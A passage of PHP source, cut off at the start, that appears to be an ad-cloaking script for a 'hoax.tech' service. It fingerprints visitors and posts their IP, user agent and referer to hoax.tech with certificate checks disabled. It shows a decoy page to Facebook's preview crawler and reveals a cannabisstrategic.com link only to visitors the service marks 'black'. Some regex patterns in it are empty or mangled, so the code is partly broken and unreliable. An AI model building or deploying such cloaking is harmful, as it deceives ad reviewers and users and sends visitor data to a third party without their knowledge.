CLIDTIME, 'clid' => HOAXCLID, 'ip' => getCorrectIP(), 'referer' => getReferer(), 'user_agent' => getUserAgent(), 'utm' => getUTMstring(), 'langs' => getLanguage(), 'url' => 'https://cannabisstrategic.com', ]; $headers = array_change_key_case(getallheaders(), CASE_LOWER); if (isset($headers['x-purpose']) && $headers['x-purpose'] === 'preview' || isset($headers['x-fb-http-engine']) && $headers['x-fb-http-engine'] === 'liger') { showWhitePage(); exit; } if (isset($_SERVER['HTTP_USER_AGENT']) && stripos($_SERVER['HTTP_USER_AGENT'], 'hoaxUA') !== false) { include 'index2.php'; exit; } if (isset($_POST['canvas'])) { $response = curlWrapper('json_hash', $_POST); if ($response === 'black') { echo $data['url']; } exit; } $response = curlWrapper('hash', $data); if ($response === 'black') { setUserCookie(); echo ''; exit; } showWhitePage(); function getAllUtm($utmType) { if (empty($_GET)) { return false; } return $utmType.http_build_query($_GET); } function setUserCookie() { return setcookie(HOAXFLOW, 'true', time()+60*60*24*365, '/', $_SERVER['HTTP_HOST']); } function getUTMstring() { if (!empty($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI'] != '/') { return urldecode($_SERVER['REQUEST_URI']); } return 'NULL'; } function getReferer() { if (!empty($_SERVER['HTTP_REFERER']) && urlValidate($_SERVER['HTTP_REFERER'])) { return parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST); } return 'NULL'; } function getUserAgent() { if (!empty($_SERVER['HTTP_USER_AGENT'])) { return $_SERVER['HTTP_USER_AGENT']; } return 'NULL'; } function getLanguage() { if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { return $_SERVER['HTTP_ACCEPT_LANGUAGE']; } return 'NULL'; } function searchBody($whitePage) { if(HOAXDEBUG === 'ON'){ preg_match('', $whitePage, $bodyString); return $bodyString; } preg_match('/]*)>/', $whitePage, $bodyString); return $bodyString; } function curlWrapper($urlMethod, $data) { $json = json_encode($data); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://hoax.tech/api?'.$urlMethod.'='.HOAXFLOW); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_POSTFIELDS, $json); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); return $response; } function getHTML($url) { $uagent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0 hoaxUA) Gecko/20100101 Firefox/95.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, $uagent); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_REFERER, 'https://www.google.com/'); $content = curl_exec($ch); curl_close($ch); return $content; } function urlValidate($cell) { $url = filter_var($cell, FILTER_SANITIZE_URL); if (!filter_var($url, FILTER_VALIDATE_URL) === false) { return true; } } function getCorrectIP() { if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif (array_key_exists('HTTP_X_REAL_IP', $_SERVER)) { return $_SERVER['HTTP_X_REAL_IP']; } if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; } } if (!function_exists('getallheaders')) { function getallheaders() { $headers = []; foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } function showWhitePage() { $extendedAssets = <<<'ASSETS'
ASSETS; $extendedAssets = str_replace(['---HOAXCLID---', '---CLIDTIME---', '---HOAXCOOKIE---'], [ HOAXCLID, CLIDTIME, HOAXFLOW ], $extendedAssets); $currentUrl = ((!empty($_SERVER['HTTPS'])) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ifOnePage = file_get_contents('index2.php'); $ifBodyExist = searchBody($ifOnePage); if (count($ifBodyExist) > 0 && HOAXCURL === 'OFF') { $whitePage = $ifOnePage; } else { $whitePage = getHTML($currentUrl); } $bodyString = searchBody($whitePage); if ($bodyString == false) { exit(htmlspecialchars('whitepage code error: missing tag')); } if(HOAXDEBUG === 'ON'){ $bodyString = ''; $appendString = $extendedAssets. PHP_EOL .$bodyString; }else{ $bodyString = ''; $appendString = $bodyString. PHP_EOL .$extendedAssets; } $whitePage = str_replace($bodyString, $appendString, $whitePage); echo $whitePage; }